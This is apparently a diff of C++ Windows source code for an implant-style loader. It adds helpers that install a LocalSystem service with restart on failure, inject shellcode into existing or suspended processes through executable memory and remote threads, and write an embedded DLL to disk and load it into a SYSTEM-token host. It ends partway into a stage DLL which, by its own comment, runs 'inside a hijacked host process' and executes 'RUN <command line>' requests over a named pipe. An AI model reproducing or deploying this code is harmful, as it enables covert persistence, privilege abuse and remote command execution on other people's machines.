SERVICE_FAILURE_ACTIONS_FLAG flag{};
|
||||||
|
flag.fFailureActionsOnNonCrashFailures = TRUE;
|
||||||
|
ChangeServiceConfig2W(svc, SERVICE_CONFIG_FAILURE_ACTIONS_FLAG, &flag);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (startNow)
|
||||||
|
{
|
||||||
|
SERVICE_STATUS st{};
|
||||||
|
bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING;
|
||||||
|
|
||||||
|
if (!running)
|
||||||
|
{
|
||||||
|
if (!StartServiceW(svc, 0, nullptr))
|
||||||
|
{
|
||||||
|
DWORD e = GetLastError();
|
||||||
|
|
||||||
|
if (e != ERROR_SERVICE_ALREADY_RUNNING)
|
||||||
|
{
|
||||||
|
Log(L"[-] EnsureLocalSystemService: StartService failed: %lu", e);
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool SetServiceDescription(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* description)
|
||||||
|
{
|
||||||
|
if (!serviceName || !description)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
||||||
|
|
||||||
|
if (!scm)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_CHANGE_CONFIG);
|
||||||
|
|
||||||
|
bool ok = false;
|
||||||
|
|
||||||
|
if (svc)
|
||||||
|
{
|
||||||
|
SERVICE_DESCRIPTIONW desc{};
|
||||||
|
desc.lpDescription = const_cast<LPWSTR>(description);
|
||||||
|
|
||||||
|
ok = ChangeServiceConfig2W(svc, SERVICE_CONFIG_DESCRIPTION, &desc) != FALSE;
|
||||||
|
CloseServiceHandle(svc);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseServiceHandle(scm);
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
bool EnsureWin32Service(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* binaryPath,
|
||||||
|
bool startNow);
|
||||||
|
|
||||||
|
bool EnsureLocalSystemService(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* binaryPath,
|
||||||
|
bool startNow,
|
||||||
|
bool restartOnFailure,
|
||||||
|
const wchar_t* displayName);
|
||||||
|
|
||||||
|
bool IsServiceRunning(const wchar_t* serviceName);
|
||||||
|
|
||||||
|
bool SetServiceDescription(
|
||||||
|
const wchar_t* serviceName,
|
||||||
|
const wchar_t* description);
|
||||||
@@ -0,0 +1,253 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "ShellcodeUtils.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
|
||||||
|
bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out)
|
||||||
|
{
|
||||||
|
out.clear();
|
||||||
|
|
||||||
|
HANDLE h = CreateFileW(
|
||||||
|
path,
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ,
|
||||||
|
nullptr,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (h == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
Log(L"[-] ReadFileToMemory failed: %s err=%lu", path, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LARGE_INTEGER fileSize{};
|
||||||
|
if (!GetFileSizeEx(h, &fileSize) || fileSize.QuadPart <= 0 || fileSize.QuadPart > 0x7FFFFFFF)
|
||||||
|
{
|
||||||
|
Log(L"[-] ReadFileToMemory invalid file size: %s", path);
|
||||||
|
CloseHandle(h);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
out.resize((size_t)fileSize.QuadPart);
|
||||||
|
|
||||||
|
DWORD read = 0;
|
||||||
|
bool ok = ReadFile(h, out.data(), (DWORD)fileSize.QuadPart, &read, nullptr)
|
||||||
|
&& read == (DWORD)fileSize.QuadPart;
|
||||||
|
|
||||||
|
CloseHandle(h);
|
||||||
|
|
||||||
|
if (!ok)
|
||||||
|
Log(L"[-] ReadFileToMemory partial/failed: %s", path);
|
||||||
|
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
static LPVOID AllocateExecMemory(HANDLE hProc, SIZE_T size)
|
||||||
|
{
|
||||||
|
if (!hProc || size == 0)
|
||||||
|
return nullptr;
|
||||||
|
|
||||||
|
LPVOID p = VirtualAllocEx(
|
||||||
|
hProc,
|
||||||
|
(LPVOID)0x10000,
|
||||||
|
size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (!p)
|
||||||
|
{
|
||||||
|
p = VirtualAllocEx(
|
||||||
|
hProc,
|
||||||
|
nullptr,
|
||||||
|
size,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!p)
|
||||||
|
{
|
||||||
|
Log(L"[-] VirtualAllocEx failed: %lu", GetLastError());
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD oldProtect = 0;
|
||||||
|
if (!VirtualProtectEx(hProc, p, size, PAGE_EXECUTE_READWRITE, &oldProtect))
|
||||||
|
{
|
||||||
|
Log(L"[-] VirtualProtectEx failed: %lu", GetLastError());
|
||||||
|
VirtualFreeEx(hProc, p, 0, MEM_RELEASE);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool InjectShellcodeIntoExisting(
|
||||||
|
DWORD pid,
|
||||||
|
const BYTE* code,
|
||||||
|
size_t size)
|
||||||
|
{
|
||||||
|
if (!pid || !code || size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
const DWORD access =
|
||||||
|
PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_VM_OPERATION |
|
||||||
|
PROCESS_VM_READ |
|
||||||
|
PROCESS_VM_WRITE |
|
||||||
|
PROCESS_CREATE_THREAD;
|
||||||
|
|
||||||
|
HANDLE hProc = OpenProcess(access, FALSE, pid);
|
||||||
|
if (!hProc)
|
||||||
|
{
|
||||||
|
Log(L"[-] Inject: OpenProcess(%lu) failed: %lu", pid, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPVOID remote = AllocateExecMemory(hProc, size);
|
||||||
|
if (!remote)
|
||||||
|
{
|
||||||
|
CloseHandle(hProc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T written = 0;
|
||||||
|
if (!WriteProcessMemory(hProc, remote, code, size, &written) || written != size)
|
||||||
|
{
|
||||||
|
Log(L"[-] Inject: WriteProcessMemory failed: %lu", GetLastError());
|
||||||
|
VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPTHREAD_START_ROUTINE entry =
|
||||||
|
reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
|
||||||
|
|
||||||
|
HANDLE hThread = CreateRemoteThread(
|
||||||
|
hProc,
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
entry,
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (!hThread)
|
||||||
|
{
|
||||||
|
Log(L"[-] Inject: CreateRemoteThread failed: %lu", GetLastError());
|
||||||
|
VirtualFreeEx(hProc, remote, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(hProc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[+] Injected into PID %lu at %p", pid, (void*)remote);
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
CloseHandle(hProc);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool InjectShellcodeAndResume(
|
||||||
|
NewProcInfo& info,
|
||||||
|
const BYTE* code,
|
||||||
|
size_t size)
|
||||||
|
{
|
||||||
|
if (!info.hProcess || !info.hThread || !code || size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LPVOID remote = AllocateExecMemory(info.hProcess, size);
|
||||||
|
|
||||||
|
if (!remote)
|
||||||
|
{
|
||||||
|
if (info.hThread)
|
||||||
|
{
|
||||||
|
ResumeThread(info.hThread);
|
||||||
|
CloseHandle(info.hThread);
|
||||||
|
info.hThread = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (info.hProcess)
|
||||||
|
{
|
||||||
|
CloseHandle(info.hProcess);
|
||||||
|
info.hProcess = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
SIZE_T written = 0;
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(info.hProcess, remote, code, size, &written) || written != size)
|
||||||
|
{
|
||||||
|
Log(L"[-] Inject suspended: WriteProcessMemory failed: %lu", GetLastError());
|
||||||
|
|
||||||
|
VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
if (info.hThread)
|
||||||
|
{
|
||||||
|
ResumeThread(info.hThread);
|
||||||
|
CloseHandle(info.hThread);
|
||||||
|
info.hThread = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (info.hProcess)
|
||||||
|
{
|
||||||
|
CloseHandle(info.hProcess);
|
||||||
|
info.hProcess = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
LPTHREAD_START_ROUTINE entry =
|
||||||
|
reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remote));
|
||||||
|
|
||||||
|
HANDLE hThread = CreateRemoteThread(
|
||||||
|
info.hProcess,
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
entry,
|
||||||
|
nullptr,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (!hThread)
|
||||||
|
{
|
||||||
|
Log(L"[-] Inject suspended: CreateRemoteThread failed: %lu", GetLastError());
|
||||||
|
|
||||||
|
VirtualFreeEx(info.hProcess, remote, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
if (info.hThread)
|
||||||
|
{
|
||||||
|
ResumeThread(info.hThread);
|
||||||
|
CloseHandle(info.hThread);
|
||||||
|
info.hThread = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (info.hProcess)
|
||||||
|
{
|
||||||
|
CloseHandle(info.hProcess);
|
||||||
|
info.hProcess = nullptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
ResumeThread(info.hThread);
|
||||||
|
|
||||||
|
Log(L"[+] Injected into suspended PID %lu and resumed: %p", info.processId, (void*)remote);
|
||||||
|
|
||||||
|
CloseHandle(hThread);
|
||||||
|
|
||||||
|
if (info.hThread)
|
||||||
|
CloseHandle(info.hThread);
|
||||||
|
|
||||||
|
if (info.hProcess)
|
||||||
|
CloseHandle(info.hProcess);
|
||||||
|
|
||||||
|
info.hThread = nullptr;
|
||||||
|
info.hProcess = nullptr;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
#include <vector>
|
||||||
|
#include "ProcessUtils.h"
|
||||||
|
|
||||||
|
bool ReadFileToMemory(const wchar_t* path, std::vector<BYTE>& out);
|
||||||
|
|
||||||
|
bool InjectShellcodeIntoExisting(
|
||||||
|
DWORD pid,
|
||||||
|
const BYTE* code,
|
||||||
|
size_t size);
|
||||||
|
|
||||||
|
bool InjectShellcodeAndResume(
|
||||||
|
NewProcInfo& info,
|
||||||
|
const BYTE* code,
|
||||||
|
size_t size);
|
||||||
+418
@@ -0,0 +1,418 @@
|
|||||||
|
#include "Common.h"
|
||||||
|
#include "StageClient.h"
|
||||||
|
#include "HostSpawn.h"
|
||||||
|
#include "Paths.h"
|
||||||
|
#include "Logger.h"
|
||||||
|
#include "resource.h"
|
||||||
|
|
||||||
|
#include <sstream>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static std::string ToUtf8(const std::wstring& w)
|
||||||
|
{
|
||||||
|
if (w.empty())
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
std::string out(need, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static std::wstring FromUtf8(const std::string& s)
|
||||||
|
{
|
||||||
|
if (s.empty())
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0);
|
||||||
|
|
||||||
|
if (need <= 0)
|
||||||
|
return std::wstring();
|
||||||
|
|
||||||
|
std::wstring out(need, L'\0');
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need);
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
|
||||||
|
static const wchar_t* kDllName = L"ardrvstage.dll";
|
||||||
|
|
||||||
|
bool StageSend(const std::wstring& request, std::wstring& response)
|
||||||
|
{
|
||||||
|
response.clear();
|
||||||
|
|
||||||
|
HANDLE pipe = CreateFileW(
|
||||||
|
kPipeName,
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (pipe == INVALID_HANDLE_VALUE)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string bytes = ToUtf8(request) + "\n";
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
|
||||||
|
if (!WriteFile(pipe, bytes.data(), (DWORD)bytes.size(), &written, nullptr))
|
||||||
|
{
|
||||||
|
CloseHandle(pipe);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string reply;
|
||||||
|
char buf[4096]{};
|
||||||
|
DWORD read = 0;
|
||||||
|
|
||||||
|
while (ReadFile(pipe, buf, sizeof(buf), &read, nullptr) && read > 0)
|
||||||
|
{
|
||||||
|
reply.append(buf, read);
|
||||||
|
|
||||||
|
if (reply.find("<<") != std::string::npos)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(pipe);
|
||||||
|
|
||||||
|
size_t end = reply.find("<<");
|
||||||
|
|
||||||
|
if (end != std::string::npos)
|
||||||
|
reply = reply.substr(0, end);
|
||||||
|
|
||||||
|
response = FromUtf8(reply);
|
||||||
|
|
||||||
|
while (!response.empty() && (response.back() == L'\n' || response.back() == L'\r'))
|
||||||
|
response.pop_back();
|
||||||
|
|
||||||
|
return !response.empty();
|
||||||
|
}
|
||||||
|
|
||||||
|
bool StageAlive()
|
||||||
|
{
|
||||||
|
std::wstring response;
|
||||||
|
|
||||||
|
if (!StageSend(L"PING", response))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return response.find(L"PONG") != std::wstring::npos;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Writes the payload that is packed into this executable to the stage dir.
|
||||||
|
|
||||||
|
// Writes the payload that is packed into this executable to the stage dir when
|
||||||
|
// the on-disk copy differs (missing, old build, or truncated). Comparing the
|
||||||
|
// bytes keeps upgrades working: a new loader always replaces an older DLL.
|
||||||
|
static bool EmbeddStageCurrent(const std::wstring& target)
|
||||||
|
{
|
||||||
|
HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_STAGE_DLL), RT_RCDATA);
|
||||||
|
|
||||||
|
if (!res)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD size = SizeofResource(nullptr, res);
|
||||||
|
|
||||||
|
if (size == 0)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
HGLOBAL loaded = LoadResource(nullptr, res);
|
||||||
|
|
||||||
|
if (!loaded)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
const BYTE* data = static_cast<const BYTE*>(LockResource(loaded));
|
||||||
|
|
||||||
|
if (!data)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
// Compare against what is already on disk.
|
||||||
|
HANDLE existing = CreateFileW(
|
||||||
|
target.c_str(),
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ,
|
||||||
|
nullptr,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
0,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (existing != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
LARGE_INTEGER fileSize{};
|
||||||
|
bool same = false;
|
||||||
|
|
||||||
|
if (GetFileSizeEx(existing, &fileSize) && fileSize.QuadPart == (LONGLONG)size)
|
||||||
|
{
|
||||||
|
std::vector<BYTE> onDisk(size);
|
||||||
|
DWORD read = 0;
|
||||||
|
|
||||||
|
same = ReadFile(existing, onDisk.data(), size, &read, nullptr) &&
|
||||||
|
read == size &&
|
||||||
|
memcmp(onDisk.data(), data, size) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(existing);
|
||||||
|
|
||||||
|
if (same)
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE h = CreateFileW(
|
||||||
|
target.c_str(),
|
||||||
|
GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
nullptr,
|
||||||
|
CREATE_ALWAYS,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
nullptr);
|
||||||
|
|
||||||
|
if (h == INVALID_HANDLE_VALUE)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
DWORD written = 0;
|
||||||
|
BOOL ok = WriteFile(h, data, size, &written, nullptr);
|
||||||
|
CloseHandle(h);
|
||||||
|
|
||||||
|
if (!ok || written != size)
|
||||||
|
{
|
||||||
|
DeleteFileW(target.c_str());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Log(L"[stage] payload refreshed from resources (%lu bytes) -> %s", size, target.c_str());
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring StageDllPath(const std::wstring& explicitPath)
|
||||||
|
{
|
||||||
|
if (!explicitPath.empty())
|
||||||
|
{
|
||||||
|
wchar_t abs[4096]{};
|
||||||
|
|
||||||
|
if (GetFullPathNameW(explicitPath.c_str(), _countof(abs), abs, nullptr))
|
||||||
|
return abs;
|
||||||
|
|
||||||
|
return explicitPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring staged = ArdrvStageDir() + L"\\" + kDllName;
|
||||||
|
|
||||||
|
// The packed payload is authoritative: if it differs from the file on disk,
|
||||||
|
// the file is replaced. An old stage DLL otherwise survives every upgrade.
|
||||||
|
if (EmbeddStageCurrent(staged))
|
||||||
|
return staged;
|
||||||
|
|
||||||
|
if (GetFileAttributesW(staged.c_str()) != INVALID_FILE_ATTRIBUTES)
|
||||||
|
return staged;
|
||||||
|
|
||||||
|
wchar_t module[MAX_PATH]{};
|
||||||
|
|
||||||
|
DWORD len = GetModuleFileNameW(nullptr, module, _countof(module));
|
||||||
|
|
||||||
|
if (len > 0 && len < _countof(module))
|
||||||
|
{
|
||||||
|
std::wstring dir = module;
|
||||||
|
size_t slash = dir.find_last_of(L"\\/");
|
||||||
|
|
||||||
|
if (slash != std::wstring::npos)
|
||||||
|
{
|
||||||
|
dir = dir.substr(0, slash);
|
||||||
|
std::wstring candidate = dir + L"\\" + kDllName;
|
||||||
|
|
||||||
|
if (GetFileAttributesW(candidate.c_str()) != INVALID_FILE_ATTRIBUTES)
|
||||||
|
return candidate;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return std::wstring();
|
||||||
|
}
|
||||||
|
|
||||||
|
// CreateRemoteThread(LoadLibraryW) inside the chosen host.
|
||||||
|
static bool InjectDllIntoProcess(DWORD pid, const std::wstring& dllPath)
|
||||||
|
{
|
||||||
|
HANDLE proc = OpenProcess(
|
||||||
|
PROCESS_CREATE_THREAD |
|
||||||
|
PROCESS_QUERY_INFORMATION |
|
||||||
|
PROCESS_VM_OPERATION |
|
||||||
|
PROCESS_VM_WRITE |
|
||||||
|
PROCESS_VM_READ,
|
||||||
|
FALSE,
|
||||||
|
pid);
|
||||||
|
|
||||||
|
if (!proc)
|
||||||
|
{
|
||||||
|
Log(L"[-] stage: OpenProcess(%lu) failed: %lu", pid, GetLastError());
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const SIZE_T bytes = (dllPath.size() + 1) * sizeof(wchar_t);
|
||||||
|
|
||||||
|
LPVOID remote = VirtualAllocEx(proc, nullptr, bytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
|
||||||
|
if (!remote)
|
||||||
|
{
|
||||||
|
CloseHandle(proc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(proc, remote, dllPath.c_str(), bytes, nullptr))
|
||||||
|
{
|
||||||
|
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(proc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE kernel = GetModuleHandleW(L"kernel32.dll");
|
||||||
|
auto loadLibrary = reinterpret_cast<LPTHREAD_START_ROUTINE>(
|
||||||
|
GetProcAddress(kernel, "LoadLibraryW"));
|
||||||
|
|
||||||
|
if (!loadLibrary)
|
||||||
|
{
|
||||||
|
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(proc);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE thread = CreateRemoteThread(proc, nullptr, 0, loadLibrary, remote, 0, nullptr);
|
||||||
|
|
||||||
|
bool ok = false;
|
||||||
|
|
||||||
|
if (thread)
|
||||||
|
{
|
||||||
|
WaitForSingleObject(thread, 10000);
|
||||||
|
|
||||||
|
DWORD exitCode = 0;
|
||||||
|
|
||||||
|
if (GetExitCodeThread(thread, &exitCode))
|
||||||
|
ok = exitCode != 0;
|
||||||
|
|
||||||
|
CloseHandle(thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
|
||||||
|
CloseHandle(proc);
|
||||||
|
|
||||||
|
return ok;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult StageInject(
|
||||||
|
const std::wstring& dllPath,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool requireSystem)
|
||||||
|
{
|
||||||
|
HostInjectResult result;
|
||||||
|
|
||||||
|
std::wstring dll = StageDllPath(dllPath);
|
||||||
|
|
||||||
|
if (dll.empty())
|
||||||
|
{
|
||||||
|
result.error = L"ardrvstage.dll not found next to the loader or in the stage dir";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<HostInfo> hosts = EnumerateHosts(requireSystem);
|
||||||
|
|
||||||
|
HostInfo* chosen = nullptr;
|
||||||
|
|
||||||
|
for (auto& h : hosts)
|
||||||
|
{
|
||||||
|
if (!h.injectable)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (requireSystem && !h.systemToken)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if (!preferredImage.empty() &&
|
||||||
|
_wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
chosen = &h;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!chosen)
|
||||||
|
{
|
||||||
|
result.error = hosts.empty()
|
||||||
|
? L"no host process found (need admin or SYSTEM)"
|
||||||
|
: L"no injectable host available";
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!InjectDllIntoProcess(chosen->pid, dll))
|
||||||
|
{
|
||||||
|
result.error = L"LoadLibrary injection failed into " + chosen->imageName;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.ok = true;
|
||||||
|
result.hostPid = chosen->pid;
|
||||||
|
result.hostSession = chosen->sessionId;
|
||||||
|
result.hostImage = chosen->imagePath;
|
||||||
|
result.method = StageAlive() ? L"stage-live" : L"stage-injected-no-reply";
|
||||||
|
|
||||||
|
GetProcessCreateTime(chosen->pid, result.creationTime);
|
||||||
|
|
||||||
|
HostTrack track;
|
||||||
|
track.pid = result.hostPid;
|
||||||
|
track.creationTime = result.creationTime;
|
||||||
|
track.payload = dll;
|
||||||
|
track.hostImage = result.hostImage;
|
||||||
|
|
||||||
|
SaveHostTrack(track);
|
||||||
|
|
||||||
|
Log(L"[stage] injected %s into %lu (%s)",
|
||||||
|
dll.c_str(),
|
||||||
|
result.hostPid,
|
||||||
|
result.method.c_str());
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult StageEnsure(bool requireSystem)
|
||||||
|
{
|
||||||
|
HostInjectResult result;
|
||||||
|
|
||||||
|
if (StageAlive())
|
||||||
|
{
|
||||||
|
result.ok = true;
|
||||||
|
result.method = L"stage-already-live";
|
||||||
|
|
||||||
|
HostTrack track = LoadHostTrack();
|
||||||
|
|
||||||
|
if (track.Tracked())
|
||||||
|
{
|
||||||
|
result.hostPid = track.pid;
|
||||||
|
result.hostImage = track.hostImage;
|
||||||
|
result.creationTime = track.creationTime;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
return StageInject(L"", L"", requireSystem);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring FormatStageStatus()
|
||||||
|
{
|
||||||
|
std::wostringstream os;
|
||||||
|
|
||||||
|
std::wstring dll = StageDllPath();
|
||||||
|
|
||||||
|
os << L"alive=" << (StageAlive() ? 1 : 0)
|
||||||
|
<< L" dll=" << (dll.empty() ? L"(missing)" : dll);
|
||||||
|
|
||||||
|
HostTrack track = LoadHostTrack();
|
||||||
|
|
||||||
|
if (track.Tracked())
|
||||||
|
os << L" host_pid=" << track.pid << L" host=" << track.hostImage;
|
||||||
|
|
||||||
|
return os.str();
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#include "HostStager.h"
|
||||||
|
|
||||||
|
// Talks to the stage payload running inside a host process.
|
||||||
|
// Returns false when no stage is listening.
|
||||||
|
bool StageSend(const std::wstring& request, std::wstring& response);
|
||||||
|
bool StageAlive();
|
||||||
|
|
||||||
|
// Locates ardrvstage.dll: explicit path, next to the loader, or in the stage dir.
|
||||||
|
std::wstring StageDllPath(const std::wstring& explicitPath = L"");
|
||||||
|
|
||||||
|
// Injects the stage DLL into the best host and verifies the pipe answers.
|
||||||
|
HostInjectResult StageInject(
|
||||||
|
const std::wstring& dllPath,
|
||||||
|
const std::wstring& preferredImage,
|
||||||
|
bool requireSystem);
|
||||||
|
|
||||||
|
// Injects only when the pipe is not already answering.
|
||||||
|
HostInjectResult StageEnsure(bool requireSystem = true);
|
||||||
|
|
||||||
|
std::wstring FormatStageStatus();
|
||||||
+299
@@ -0,0 +1,299 @@
|
|||||||
|
// Stage payload: runs inside a hijacked host process.
|
||||||
|
//
|
||||||
|
// Contract with the loader:
|
||||||
|
// - named pipe \\.\pipe\ArDrvStage
|
||||||
|
// - one request per connection, UTF-8, newline terminated
|
||||||
|
// - response: UTF-8, ends with "<<" sentinel line, then the pipe closes
|
||||||
|
// - commands: PING | WHOAMI | RUN <command line> | STOP
|
||||||
|
//
|
||||||
|
// The DLL is intentionally small: it is a command runner, not a second agent.
|
||||||
|
// All policy (which host, when to re-inject) stays in the loader so the payload
|
||||||
|
// can be swapped without touching the services.
|
||||||
|
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage";
|
||||||
|
static const wchar_t* kMutexName = L"Global\\ArDrvStage";
|
||||||
|
static const char* kEnd = "<<";
|
||||||
|
static HMODULE g_module = nullptr;
|
||||||
|
static HANDLE g_mutex = nullptr;
|
||||||
|
|
||||||
|
static std::string Narrow(const std::wstring& w)
|
||||||
|
{
|
||||||
|
if (w.empty())
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
